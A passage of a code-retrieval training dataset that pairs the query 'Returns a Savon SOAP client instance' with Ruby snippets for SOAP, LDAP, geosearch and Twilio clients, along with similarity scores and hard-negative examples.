].to_ber_appsequence(Net::LDAP::PDU::SearchRequest)\n\n # rfc2696_cookie sometimes contains binary data from Microsoft Active Directory\n # this breaks when calling to_ber. (Can't force binary data to UTF-8)\n # we have to disable paging (even though server supports it) to get around this...\n\n controls = []\n controls <<\n [\n Net::LDAP::LDAPControls::PAGED_RESULTS.to_ber,\n # Criticality MUST be false to interoperate with normal LDAPs.\n false.to_ber,\n rfc2696_cookie.map{ |v| v.to_ber}.to_ber_sequence.to_s.to_ber\n ].to_ber_sequence if paged\n controls << ber_sort if ber_sort\n controls = controls.empty? ? nil : controls.to_ber_contextspecific(0)\n\n write(request, controls, message_id)\n\n result_pdu = nil\n controls = []\n\n while pdu = queued_read(message_id)\n case pdu.app_tag\n when Net::LDAP::PDU::SearchReturnedData\n n_results += 1\n yield pdu.search_entry if block_given?\n when Net::LDAP::PDU::SearchResultReferral\n if refs\n if block_given?\n se = Net::LDAP::Entry.new\n se[:search_referrals] = (pdu.search_referrals || [])\n yield se\n end\n end\n when Net::LDAP::PDU::SearchResult\n result_pdu = pdu\n controls = pdu.result_controls\n if refs && pdu.result_code == Net::LDAP::ResultCodeReferral\n if block_given?\n se = Net::LDAP::Entry.new\n se[:search_referrals] = (pdu.search_referrals || [])\n yield se\n end\n end\n break\n else\n raise Net::LDAP::ResponseTypeInvalidError, \"invalid response-type in search: #{pdu.app_tag}\"\n end\n end\n\n # count number of pages of results\n payload[:page_count] ||= 0\n payload[:page_count] += 1\n\n # When we get here, we have seen a type-5 response. If there is no\n # error AND there is an RFC-2696 cookie, then query again for the next\n # page of results. If not, we're done. Don't screw this up or we'll\n # break every search we do.\n #\n # Noticed 02Sep06, look at the read_ber call in this loop, shouldn't\n # that have a parameter of AsnSyntax? Does this just accidentally\n # work? According to RFC-2696, the value expected in this position is\n # of type OCTET STRING, covered in the default syntax supported by\n # read_ber, so I guess we're ok.\n more_pages = false\n if result_pdu.result_code == Net::LDAP::ResultCodeSuccess and controls\n controls.each do |c|\n if c.oid == Net::LDAP::LDAPControls::PAGED_RESULTS\n # just in case some bogus server sends us more than 1 of these.\n more_pages = false\n if c.value and c.value.length > 0\n cookie = c.value.read_ber[1]\n if cookie and cookie.length > 0\n rfc2696_cookie[1] = cookie\n more_pages = true\n end\n end\n end\n end\n end\n\n break unless more_pages\n end # loop\n\n # track total result count\n payload[:result_count] = n_results\n\n result_pdu || OpenStruct.new(:status => :failure, :result_code => Net::LDAP::ResultCodeOperationsError, :message => \"Invalid search\")\n end # instrument\n ensure\n\n # clean up message queue for this search\n messages = message_queue.delete(message_id)\n\n # in the exceptional case some messages were *not* consumed from the queue,\n # instrument the event but do not fail.\n if !messages.nil? && !messages.empty?\n instrument \"search_messages_unread.net_ldap_connection\",\n message_id: message_id, messages: messages\n end\n end",
"def search_data_attributes\n {\n tag: tags.map { |t| t.name.downcase },\n trait: person_traits.map { |pt| format('%s:%s', traits.find(pt.trait_id).name.downcase, pt.value.downcase) },\n question: questions.map(&:id),\n answer: answers.map { |a| a.value.downcase },\n last_participated: last_participation_date.to_s,\n signup_at: signup_at.to_s,\n full_name: full_name,\n last_contacted: last_contacted.to_s\n }\n end",
"def search_attributes\n {:title => self.name, :description => (!self.description.blank?) ? self.description[0..100] : \"\", :image => ''}\n end",
"def load_attributes!\n fetch_data unless data_fetched?\n # master & value attributes\n raw_attributes = Ken::Util.convert_hash(@data[\"/type/reflect/any_master\"])\n raw_attributes.merge!(Ken::Util.convert_hash(@data[\"/type/reflect/any_value\"])) \n @attributes = {}\n raw_attributes.each_pair do |a, d|\n properties.select { |p| p.id == a}.each do |p|\n @attributes[p.id] = Ken::Attribute.create(d, p)\n end\n end\n # reverse properties\n raw_attributes = Ken::Util.convert_hash(@data[\"/type/reflect/any_reverse\"])\n raw_attributes.each_pair do |a, d|\n properties.select { |p| p.master_property == a}.each do |p|\n @attributes[p.id] = Ken::Attribute.create(d, p)\n end\n end\n @attributes_loaded = true\n end",
"def search\n\n @search = Location.near(params[:search], 15, :order => :distance)\n \n @query = params[:search]\n @locations = @search\n \n @filtros = ajustaFiltros\n @precios = precios(@locations)\n @campos = self.campos\n @places = places(@locations,@filtros)\n @facets = facetas(@locations, @filtros)\n @json = @locations.to_gmaps4rails\n end",
"def search_people(searchterm,params={})\n @opensearch.search_people(searchterm,params) \n end",
"def _search_first(accessToken, lat, lon)\n req = {\n 'AccessToken' => accessToken,\n 'IsLite' => true,\n 'MaxPerPage' => MAX_PER_PAGE,\n 'GeocachingLogCount' => 5,\n 'TrackableLogCount' => 0,\n 'PointRadius' => {\n 'DistanceInMeters' => \"#{SEARCH_DISTANCE}.000000\",\n 'Point' => {\n 'Latitude' => lat,\n 'Longitude' => lon\n }\n }\n }\n\n data = _post('/LiveV6IAP/Geocaching.svc/SearchForGeocaches', req)\n\n _check_result(data)\n _log_limit('lite', data)\n\n return data['Geocaches']\n end",
"def geopos(key, member); end",
"def getEntitySearchWhatByboundingbox( what, latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['what'] = what\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/what/byboundingbox\",params)\n end",
"def find_by attribute, value\n\n all.detect { |continent| continent.send(attribute) == value }\n\n end",
"def search_data\n attributes.merge(\n \"owner\" => self.owner\n )\n end",
"def searches\n wrapping!(\n search(\n root_uri,\n data_raw.to_s.gsub('=>', ':')\n )\n )\n end",
"def geofence_params\n hash = {}\n hash[:area_name] = params[:geofence][:area_name]\n hash[:coordinates] = params[:geofence][:coordinates]\n hash\n end",
"def get_ead_places\n @get_ead_places ||= clean_facets_array(search(\"//geogname\").map(&:text))\n end",
"def build_centroids\n #sql = \"SELECT b.ogc_fid as id, ST_AsGeoJSON(ST_centroid(b.wkb_geometry)) as geo FROM buildings b\"\n sql = \"SELECT b.ogc_fid as id,\n st_x(st_transform(ST_Centroid(b.wkb_geometry),4326)) as lng,\n st_y(st_transform(ST_Centroid(b.wkb_geometry),4326)) as lat\n FROM buildings b;\"\n result_set = ActiveRecord::Base.connection.execute(sql)\n results = {}\n\n result_set.each do |row|\n results[row['id']] = [row['lng'],row['lat']]\n end\n results\n end",
"def ensure_params_have_values\n @attributes[:lat] = 33.1243208 unless @attributes[:lat].present? \n @attributes[:lon] = -117.32582479999996 unless @attributes[:lon].present? \n @attributes[:radius].present? ? @_search_radius = @attributes[:radius] : self.set_radius\n end",
"def getEntitySearchWhoByboundingbox( who, latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['who'] = who\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/who/byboundingbox\",params)\n end",
"def search(q:, raw: false)\n return unless String(q).length > 10\n\n result = Geocoder.search(q)\n raw ? result&.data : format_result(result)\n end",
"def searchForAttribute(xml, nodeName, attributeName)\n\n if( xml[\"nodeName\"] == nodeName )\n\n attribs = xml[\"nodeAttributes\"]\n if(attribs[attributeName] == nil)\n return @NOT_FOUND\n end\n return attribs[attributeName]\n end\n\n size = xml[\"childCount\"].to_i\n for j in 0..size\n\n values = xml[j]\n if(values[\"nodeName\"] == nodeName)\n\n hmValue = values[\"nodeAttributes\"]\n if(hmValue[attributeName] != nil)\n \t return hmValue[attributeName]\n end\n else\n\n value = searchForAttribute(values,nodeName,attributeName)\n if(value != \"\" && value != @NOT_FOUND)\n \t return value\n end\n end\n end\n return @NOT_FOUND\n end",
"def find(attributes={})\n attributes = attributes.to_h\n\n all.find { |license| license.matches?(attributes) }\n end",
"def to_georss(*args)\n xml = Geos::Helper.xml_options(*args)[0]\n xml.georss(:where) do\n xml.gml(:Point) do\n xml.gml(:pos, \"#{self.lat} #{self.lng}\")\n end\n end\n end",
"def all_search\n @results ||= []\n feat_keyword ||= {:name_contains => params[:q]}\n reward_keyword ||= {:partner_business_name_contains => params[:q]}\n\n Feat.search(feat_keyword).all.each do |r|\n @results << r\n end if !Feat.search(feat_keyword).all.nil? && feat_keyword.length > 0\n\n Reward.search(reward_keyword).all.each do |r|\n @results << r\n end if !Reward.search(reward_keyword).all.nil? && reward_keyword.length > 0\n end",
"def must(attributes = {})\r\n query = attributes.map { |attr| { match: Hash[*attr] } }\r\n body = { query: { bool: { must: query } } }\r\n result = client.search index: index, type: type, body: body\r\n\r\n result_instance(result) \r\n end",
"def search(term)\n contacts = Contact.all\n person_data = nil\n contacts.each_with_index do |contact,index|\n if (contact.name.include? term) || (contact.email.include? term)\n person_data = []\n person_data[0] = index\n person_data[1] = contact \n end\n end\n person_data\n end"
] |
[
"0.6360559",
"0.60333186",
"0.5921207",
"0.58300626",
"0.5748066",
"0.5711369",
"0.56499743",
"0.5491631",
"0.5406787",
"0.52779466",
"0.5250674",
"0.5239203",
"0.5227761",
"0.5226946",
"0.5219674",
"0.5167995",
"0.51617455",
"0.5143399",
"0.51241004",
"0.50939614",
"0.50772965",
"0.50503373",
"0.5025599",
"0.50159705",
"0.49991122",
"0.49932286",
"0.49781325",
"0.4973364",
"0.4972103",
"0.4962051",
"0.49457735",
"0.4937152",
"0.4935599",
"0.49299803",
"0.4920957",
"0.4918559",
"0.49037772",
"0.48869377",
"0.48851866",
"0.48839483",
"0.48750693",
"0.4866199",
"0.48651528",
"0.48646545",
"0.48546857",
"0.48505142",
"0.48376623",
"0.48242256",
"0.48235673",
"0.4821808",
"0.48187283",
"0.48173246",
"0.48111382",
"0.48063698",
"0.48062852",
"0.4806115",
"0.48027495",
"0.47993788",
"0.47947896",
"0.47872147",
"0.4777111",
"0.47665772",
"0.4764315",
"0.4763776",
"0.47514895",
"0.4748533",
"0.47479263",
"0.47462088",
"0.4743041",
"0.47383243",
"0.4733464",
"0.472978",
"0.47220802",
"0.4708874",
"0.47037315",
"0.46979478",
"0.46979043",
"0.4697542",
"0.46973488",
"0.46967444",
"0.46951953",
"0.46805796",
"0.4679208",
"0.46778753",
"0.46750274",
"0.46741706",
"0.4670286",
"0.4668472",
"0.46596974",
"0.46544552",
"0.46537298",
"0.46477568",
"0.46395466",
"0.4633701",
"0.4629518",
"0.46289104",
"0.46268094",
"0.46216118",
"0.46164653",
"0.46164605",
"0.46161115"
] |
0.0
|
-1
|
Returns a Savon SOAP client instance
|
def savon
@savon ||= Savon.client(wsdl: WSDL_URL)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def client \n @client ||= Savon::Client.new do\n wsdl.document = self.endpoint\n end\n end",
"def client\n @client ||= Savon.client(wsdl) do |wsdl|\n wsdl.endpoint = endpoint\n end.tap do |client|\n client.config.soap_header = soap_headers\n client.http.auth.ssl.verify_mode = :none\n end\n end",
"def client\n @client ||= begin\n client_config = {\n wsdl: config.wsdl,\n namespace: config.soap_namespace,\n log_level: config.log_level,\n element_form_default: :qualified,\n namespaces: NAMESPACES\n }\n\n client_config[:proxy] = config.http_proxy if config.http_proxy.present?\n\n Savon::Client.new client_config\n end\n end",
"def client\n Savon::Client.new do |savon|\n savon.ssl_verify_mode :none\n savon.wsdl base_url\n savon.namespaces namespaces\n savon.env_namespace 'SOAP-ENV'\n savon.raise_errors false\n #savon.namespace_identifier #none\n savon.convert_request_keys_to :lower_camelcase\n savon.strip_namespaces true\n savon.pretty_print_xml true\n savon.log log_env\n savon.open_timeout 10 #seconds\n savon.read_timeout 45 #seconds\n end\n end",
"def soap_client\n # authentication\n credentials = { 'cor:UserName' => username, 'cor:UserPassword' => password }\n # required SOAP header\n soap_header = { 'cor:OGHeader' => { 'cor:Authentication' => { 'cor:UserCredentials' => credentials } } }\n # logging options\n log_options = { log_level: :debug, log: true, pretty_print_xml: true }\n # class name of caller object\n klass_name = self.class.name.split('::').last\n # WSDL endpoint is derived from ClassName\n options = { wsdl: \"#{url}/#{klass_name}.asmx?WSDL\", namespaces: namespaces, soap_header: soap_header }\n # SOAP client\n Savon.client(options.merge(log_options))\n end",
"def soap_client\n return @client if @client && @access_token && @access_token['expires_at'] &&\n (Time.now < @access_token['expires_at'])\n\n @client = Savon.client(\n wsdl: WSDL_URI,\n namespace: NAMESPACE_URI,\n namespace_identifier: :v2,\n namespaces: {\n 'xmlns:arr' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays'\n },\n headers: { 'Authorization' => \"Bearer #{get_access_token['access_token']}\" }\n )\n end",
"def new_client\n Savon.client(\n wsdl: @wsdl,\n endpoint: @endpoint,\n convert_request_keys_to: :none,\n soap_version: 1,\n pretty_print_xml: true,\n filters: [:password],\n logger: @soap_logger,\n log_level: @soap_log_level,\n log: @soap_log\n )\n end",
"def soap_client\n return @client if @client and @access_token and @access_token['expires_at'] and\n Time.now < @access_token['expires_at']\n\n @client = Savon.client(\n wsdl: WSDL_URI,\n namespace: NAMESPACE_URI,\n namespace_identifier: :v2,\n namespaces: {\n 'xmlns:arr' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays'\n },\n headers: {'Authorization' => \"Bearer #{get_access_token['access_token']}\"},\n )\n end",
"def client\n @client ||= Savon::Client.new do\n wsdl.document = File.expand_path(File.join(File.dirname(__FILE__), \"economic.wsdl\"))\n end\n end",
"def client\n @client ||= Savon::Client.new do\n wsdl.endpoint = Kraut.endpoint\n wsdl.namespace = \"urn:SecurityServer\"\n end\n end",
"def client\n Savon.client options\n end",
"def create_savon_client(endpoint, namespace)\n client = Savon::Client.new do |wsdl, httpi|\n wsdl.endpoint = endpoint\n wsdl.namespace = namespace\n AdsCommon::Http.configure_httpi(@api.config, httpi)\n end\n return client\n end",
"def initialize\n @client = Savon.client(wsdl: Twinfield::WSDLS[:session])\n end",
"def initialize\n # Note: Suds logging is disabled\n @soap_client = Suds.client(endpoint: ENDPOINT, namespace: NAMESPACE,\n soap_version: 1, wsdl: WSDL, log: false)\n end",
"def client\n @client ||= Savon.client(client_options)\n return @client unless block_given?\n yield @client\n end",
"def savon_client(params)\n savon_params = {\n :wsdl => params[:wsdl] || 'http://www.voxbone.com/VoxAPI/services/VoxAPI?WSDL',\n :namespace => 'http://www.voxbone.com/VoxAPI',\n :log => false\n }\n\n if params[:log_level]\n savon_params[:log] = true\n savon_params[:log_level] = params[:log_level]\n end\n\n Savon.client(savon_params)\n end",
"def initialize\n # Note: Deliberately disabling the verbose Savon logging\n @savon = ::Savon.client(endpoint: ENDPOINT, namespace: NAMESPACE,\n soap_version: 1, wsdl: WSDL, log: false)\n end",
"def _client\n @client ||= XMLRPC::Client.new(@uri.host, @uri.path, @uri.port, nil, nil, nil, nil, @uri.port == 443, @timeout)\n end",
"def _client\n @client ||= XMLRPCClient.new(@uri.host, @uri.path, @uri.port, nil, nil, nil, nil, @uri.scheme == 'https' ? @ssl_verify : false, @timeout)\n end",
"def client\n @client ||= ::Twilio::REST::Client.new(@account_sid, @auth_token)\n end",
"def client\n @client ||= Client.new(configuration)\n end",
"def client\n @client ||= Client.new(config[:credentials], config[:end_point])\n end",
"def soap(soap)\n @soap = soap\n http.endpoint @soap.endpoint.host, @soap.endpoint.port\n http.use_ssl = @soap.endpoint.ssl?\n\n log_request\n @response = http.start do |h|\n h.request request(:soap) { |request| request.body = @soap.to_xml }\n end\n log_response\n @response\n end",
"def get_client\n config.client.new(self)\n end",
"def get_client\n token = Rails.application.credentials[:production][:square][:square_access_token]\n client = Square::Client.new(\n access_token: token,\n environment: \"production\",\n )\n return client\n end",
"def client\n # @client ||= MyService::Client.new(SinaToken.consumer.key, SinaToken.consumer.secret, token, secret)\n end",
"def get_client\n @client\n end",
"def client(options)\n Service::Client.new(\n :username => options[:username],\n :password => options[:password],\n :url => options[:server],\n :user_agent => USER_AGENT\n )\n end",
"def get_client(uri, http_type, method)\n return @client\n end",
"def client\n if !@client || @client.hash != options.hash\n @client = Croudia::Client.new\n end\n @client\n end",
"def client\n @client ||= Curl::Easy.new\n end",
"def wsdl\n log \"Retrieving WSDL from: #{@endpoint}\"\n http.endpoint @endpoint.host, @endpoint.port\n http.use_ssl = @endpoint.ssl?\n http.start { |h| h.request request(:wsdl) }\n end",
"def client\n @client ||= Client.new\n end",
"def get_domo_client(test_settings)\n client_config = Java::ComDomoSdkRequest::Config.with\n .clientId(test_settings[\"client_id\"])\n .clientSecret(test_settings[\"client_secret\"])\n .apiHost(\"api.domo.com\")\n .useHttps(true)\n .scope(Java::ComDomoSdkRequest::Scope::DATA)\n .build()\n DomoClient.create(client_config)\n end",
"def client\n @client ||= Twilio::REST::Client.new(ENV[\"TWILIO_SID\"], ENV[\"TWILIO_AUTH\"])\n end",
"def client(sid = nil, auth = nil)\n ::Twilio::REST::Client.new(\n sid || ENV['TWILIO_ACCOUNT_SID'],\n auth || ENV['TWILIO_AUTH_TOKEN']\n )\n end",
"def client\n @client ||= (begin\n if @uri.scheme\n client_class = Retrieve::Client.for(@uri.scheme)\n if client_class\n client_class.new(self)\n else\n nil\n end\n else\n nil\n end\n end)\n end",
"def client\n @client ||= self.class.client\n end",
"def client\n @client = Wayback::Client.new(options) unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def soap_version\n @version ||= SOAP::DefaultVersion\n end",
"def client\n @@client ||= Orchestrate::Application::Connect.client\n end",
"def client\n @client ||= OAuth2::Client.new(caller_service.client_id,\n caller_service.client_secret,\n :site => called_service.site,\n :raise_errors => false)\n end",
"def client\n @client ||= Twitter::REST::Client.new(client_params)\n end",
"def client\n Twilio::REST::Client.new(ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']) if ENV[\"TWILIO_ACCOUNT_SID\"].present?\n end",
"def soap_endpoint\n @soap_endpoint ||= stream.soap_endpoint\n end",
"def client\n credentials = Aws::Credentials.new(settings[:aws_access_key_id],\n settings[:aws_secret_access_key])\n region = settings[:aws_default_region]\n\n Aws::SES::Client.new(credentials: credentials, region: region)\n end",
"def web_client\n client.web_client\n end",
"def soap_request(options = {})\n options = { error_response_codes: [404] }.merge options\n\n headers = { 'Content-Type' => CONTENT_TYPES[version] }\n if action = options.delete(:action)\n headers['SOAPAction'] = action\n elsif operation = options.delete(:operation)\n headers['SOAPAction'] = soap_action operation\n end\n\n if version == 1 && headers['SOAPAction'].blank?\n raise 'SOAPAction header value must be provided for SOAP 1.1'\n end\n\n request_options = { format: :xml, headers: headers }\n Response.new(version, perform_request(:post, endpoint, options.merge(request_options)), fault_builder).tap do |response|\n raise response.fault if response.fault?\n raise response.error if response.error?\n end\n end",
"def getclient\n return @client\n end",
"def set_soap\n @soap = Soap.find(params[:id])\n end",
"def service\n return @service if @service\n @service = ExchangeService.new(version)\n # TODO: make this whole URI configurable\n @service.url = java.net.URI.new(\"https://#{self.config['host']}:443/EWS/Exchange.asmx\")\n @service.credentials = credentials\n @service\n end",
"def soapConnect\n printDebugMessage('soapConnect', 'Begin', 11)\n if !@soap\n # Create the service proxy\n @soap = SOAP::WSDLDriverFactory.new(@wsdl).create_rpc_driver\n # Enable compression support if available (requires http-access2).\n begin\n require 'http-access2'\n @soap.streamhandler.accept_encoding_gzip = true\n printDebugMessage('soapConnect', 'Compression support enabled', 1)\n rescue LoadError\n printDebugMessage('soapConnect', 'Compression support not available', 1)\n end\n # Set connection timeouts.\n @soap.options[\"protocol.http.connect_timeout\"] = @timeout\n @soap.options[\"protocol.http.receive_timeout\"] = @timeout\n # Enable trace output.\n @soap.wiredump_dev = STDOUT if @trace\n # Try to set a user-agent.\n begin\n soapUserAgent()\n rescue Exception => ex\n if @debugLevel > 0\n $stderr.puts ex\n $stderr.puts ex.backtrace\n end\n printDebugMessage('soapConnect', 'Unable to set User-agent', 11)\n end\n end\n printDebugMessage('soapConnect', 'End', 11)\n end",
"def client\n @client\n end",
"def client\n @client\n end",
"def client\n @client\n end",
"def twilio_client\n Twilio::REST::Client.new TWILIO_CONFIG['sid'], TWILIO_CONFIG['token']\n end",
"def client\n @client ||= NPS::Client.new\n end",
"def aws_sns_client\n return @aws_sns_client if @aws_sns_client\n\n @aws_sns_client = Aws::SNS::Client.new(region: self.class.sms_aws_region)\n end",
"def client\n self.class.client\n end",
"def client\n self.class.client\n end",
"def initialize(license_key, wsdl_url='http://ws.cdyne.com/SmsWS/SMS.asmx?wsdl')\n @license_key = license_key\n\t\t\t@soap_driver = SOAP::WSDLDriverFactory.new(wsdl_url).create_rpc_driver\n end",
"def client\n\t\treturn @client\n\tend",
"def es_client\n self.class.es_client\n end",
"def client\n @credentials ||= Aws::Credentials.new(@access_id, @access_key)\n @client ||= Aws::CloudFormation::Client.new(\n credentials: @credentials,\n region: @region\n )\n end",
"def orchestrate_client\n client\n end",
"def client\n @client || Client.connection\n end",
"def xmlrpc_client\n @xmlrpc_client ||= XMLRPC::Client.new2(\"https://api.webfaction.com/\", nil, 5)\n end",
"def client\n @client ||= Curl::Easy.new\n end",
"def client\n @client = Firebased::Account.new(credentials) unless defined?(@client)\n @client\n end",
"def aws_pinpoint_client\n return @aws_pinpoint_client if @aws_pinpoint_client\n\n @aws_pinpoint_client = Aws::Pinpoint::Client.new(region: self.class.sms_aws_region)\n end",
"def soapserver\n server = SOAP::RPC::StandaloneServer.new('SwAServer', '', '0.0.0.0', 7000)\n server.add_servant(Doubler.new)\n server.start\nend",
"def client\n @client = Gluby::Client.instance unless @client\n @client\n end",
"def initialize_client\n secret = Settings['xml_rpc'] ? Settings.xml_rpc['secret'] : nil\n endpoint = Settings['xml_rpc'] ? Settings.xml_rpc['endpoint'] : nil\n fail ArgumentError, \"#{endpoint} is not a valid URL.\" if endpoint && !uri?(endpoint)\n\n @client = OpenNebula::Client.new(secret, endpoint)\n end",
"def client\n puts \"creating client\"\n @client ||= Vineyard::Client.new(options) #unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def soapUserAgent()\n printDebugMessage('soapUserAgent', 'Begin', 11)\n # Construct the User-agent string.\n clientRevision = '$Revision$'\n clientVersion = '0'\n if clientRevision.length > 11\n clientVersion = clientRevision[11..-3]\n end\n userAgent = \"EBI-Sample-Client/#{clientVersion} (#{self.class.name}; Ruby #{RUBY_VERSION}; #{RUBY_PLATFORM}) \"\n # Check if we can set it.\n begin\n require 'soap/netHttpClient' # SOAP4R HTTP transport\n require 'http-access2' # HTTP transport based on http-access2\n require 'httpclient' # 'http-access2' is now called 'httpclient'\n rescue LoadError => ex\n printDebugMessage('soapUserAgent', 'Unable to load modules', 12)\n if @debugLevel > 12\n $stderr.puts ex\n $stderr.puts ex.backtrace\n end\n end\n if @soap.proxy.streamhandler.client.kind_of? SOAP::NetHttpClient\n # HTTP transport provided with SOAP4R.\n userAgent += @soap.proxy.streamhandler.client.instance_variable_get('@agent')\n printDebugMessage('soapUserAgent', 'userAgent: ' + userAgent, 11)\n @soap.proxy.streamhandler.client.instance_variable_set('@agent', userAgent)\n elsif (@soap.proxy.streamhandler.client.kind_of? HTTPClient) || (@soap.proxy.streamhandler.client.kind_of? HTTPAccess2::Client)\n # Alternative HTTP transport using 'httpclient'/'http-access2'\n userAgent += @soap.proxy.streamhandler.client.agent_name\n printDebugMessage('soapUserAgent', 'userAgent: ' + userAgent, 11)\n @soap.proxy.streamhandler.client.agent_name = userAgent\n else\n # Unknown transport.\n printDebugMessage('soapUserAgent', \"Unable to set User-Agent, SOAP client uses #{@soap.proxy.streamhandler.client.class}\", 11)\n end\n printDebugMessage('soapUserAgent', 'End', 11)\n end",
"def client\n @@client\n end",
"def doc\n @doc = @soap ? xml_doc(@soap) : xml_doc(@error)\n end",
"def new_http_client\n client = Net::HTTP.new(@uri.host, @uri.port)\n if @uri.scheme == \"https\"\n configure_ssl(client)\n end\n client\n end",
"def client\n @client ||= Aws::ElasticTranscoder::Client.new\n end",
"def client\n @client ||= Aws::ElasticTranscoder::Client.new\n end",
"def client\n @client ||= @options[:client] ||\n __get_class_value(:client) ||\n Elasticsearch::Client.new\n end",
"def client\n ::OAuth2::Client.new(\n options.client_id,\n options.client_secret,\n deep_symbolize(options.client_options).merge(site: site)\n )\n end",
"def client\n @client ||= es_node.client(true).data(false).node.client\n end",
"def client\n @client ||= OAuth2::Client.new( get_config('SMARTCAR_CLIENT_ID'),\n get_config('SMARTCAR_SECRET'),\n :site => OAUTH_PATH\n )\n end",
"def initialize(guid = nil, options = {})\n self.errors = []\n self.guid = guid\n self.proxy = options[:proxy]\n\n # savon client options\n self.client_options = { wsdl: SOAP_API_WSDL_URL }\n client_options[:proxy] = proxy if proxy\n end",
"def initialize(service = :uic)\n raise 'bad argument' unless service.is_a? Symbol\n @service_path = SERVICES[service]\n @client = SOAP::NetHttpClient.new\n end",
"def client\n @client ||= Utils::Box::Client.new\n end",
"def initialize(username, password, api_key) \n @username = username\n @password = password\n @api_key = api_key\n @client = Savon.client(wsdl: BULLHORN_WSDL, log_level: :debug, pretty_print_xml: true)\n #@client = Savon.client(wsdl: BULLHORN_WSDL, log_level: :warn, pretty_print_xml: true)\n end",
"def client(client = nil, options = nil)\n if client.nil?\n @client\n else\n @client = self.class.send(:get_client, client, options)\n end\n end",
"def adwords_client\n if @adwords_client\n # Ensure token hasn't expired\n @adwords_client.authorize\n update authentication: @adwords_client.get_auth_handler.get_token\n\n return @adwords_client\n end\n \n authentication_hash = AppConfig.adwords.deep_dup\n authentication_hash[:oauth2_token].merge!(self.authentication)\n\n @adwords_client = AdwordsApi::Api.new({\n :authentication => authentication_hash,\n :service => {\n :environment => 'PRODUCTION'\n },\n :connection => {\n :enable_gzip => 'TRUE'\n },\n :library => {\n :log_level => 'INFO', # or DEBUG\n }\n })\n\n # Try and get a new access token if it's expired.\n token = @adwords_client.authorize\n\n # AdwordsApi does nothing if issued_at is nil (for example, if we've never\n # requested an access token before for this client channel), but for us\n # that means we definitely want to get a new one!\n @adwords_client.get_auth_handler.refresh_token! if !token[:issued_at]\n\n update authentication: @adwords_client.get_auth_handler.get_token\n \n adwords_client.config.set(\"authentication.client_customer_id\", self.uid)\n adwords_client.skip_report_header = true\n adwords_client.skip_report_summary = true\n\n return @adwords_client\n end",
"def client\n @client ||= VAHealthcareMessaging::Client.new(config: MHV_CONFIG, session: { user_id: correlation_id })\n end",
"def client\r\n @client ||= APIController.new config\r\n end",
"def client(url)\n client_params = { :url => url }\n if RubyProvisioningApi.configuration.ca_file\n client_params[:ssl] = {:ca_path => RubyProvisioningApi.configuration.ca_file}\n end\n client = Faraday.new(client_params) do |faraday|\n faraday.request :url_encoded # form-encode POST params\n faraday.response :logger if RubyProvisioningApi.configuration.http_debug # log requests to STDOUT\n faraday.adapter Faraday.default_adapter # make requests with Net::HTTP\n end\n end",
"def client\n @client ||= Client.current\n end",
"def client\n self.class.client\n end",
"def client\n @client ||= platform_klass::Client.new(@options)\n end",
"def client\n @client ||= begin\n require 'packagecloud'\n creds = Packagecloud::Credentials.new('socrata-platform', token)\n Packagecloud::Client.new(creds)\n end\n end",
"def get_client\n @client = Ethereum::Client.create(@url) if @client.nil?\n @client\n end",
"def initialize_client\n @client = HelpScoutDocs::Client.new(@options) unless defined?(@client) && @client.hash == @options.hash\n @client\n end"
] |
[
"0.854754",
"0.85072464",
"0.8436068",
"0.83633053",
"0.8297025",
"0.8275988",
"0.8269884",
"0.81919247",
"0.7782311",
"0.7755417",
"0.7604265",
"0.74760795",
"0.70497257",
"0.7002952",
"0.6766652",
"0.66096973",
"0.6580831",
"0.65029275",
"0.64069825",
"0.6300055",
"0.62835443",
"0.6269155",
"0.615728",
"0.61336124",
"0.61080474",
"0.6096296",
"0.6083763",
"0.6081639",
"0.6008491",
"0.5977029",
"0.5975691",
"0.59458816",
"0.5926739",
"0.59250915",
"0.5913453",
"0.5906139",
"0.588808",
"0.5877211",
"0.5860888",
"0.58478385",
"0.5834845",
"0.5779978",
"0.57763284",
"0.57724214",
"0.5759247",
"0.5754444",
"0.5754225",
"0.5749831",
"0.5738935",
"0.5730921",
"0.57293415",
"0.57291627",
"0.5725238",
"0.5725238",
"0.5725238",
"0.5723688",
"0.57124597",
"0.570336",
"0.5686501",
"0.5686501",
"0.5683735",
"0.5683589",
"0.5677119",
"0.5673148",
"0.56658375",
"0.56589806",
"0.56526893",
"0.56449866",
"0.56225026",
"0.5621495",
"0.5619128",
"0.5615835",
"0.5615025",
"0.5612054",
"0.5610906",
"0.5601349",
"0.56000036",
"0.55996555",
"0.5586389",
"0.55806416",
"0.5568331",
"0.5567162",
"0.55543697",
"0.55402285",
"0.55371976",
"0.5533965",
"0.5531947",
"0.5522793",
"0.55223423",
"0.551988",
"0.5518179",
"0.55112994",
"0.54995245",
"0.54847485",
"0.54792523",
"0.5479056",
"0.54774886",
"0.547239",
"0.5465627"
] |
0.7111517
|
13
|
GET /attachments GET /attachments.json
|
def index
@channel = Channel.find_by_name(params[:channel_id])
@attachments = @channel.attachments.order("created_at DESC")
respond_to do |format|
format.json { render :json => @attachments.to_json(:methods => :url) }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @attachments = Attachment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attachments }\n end\n end",
"def index\n @attachments = Attachment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attachments }\n end\n end",
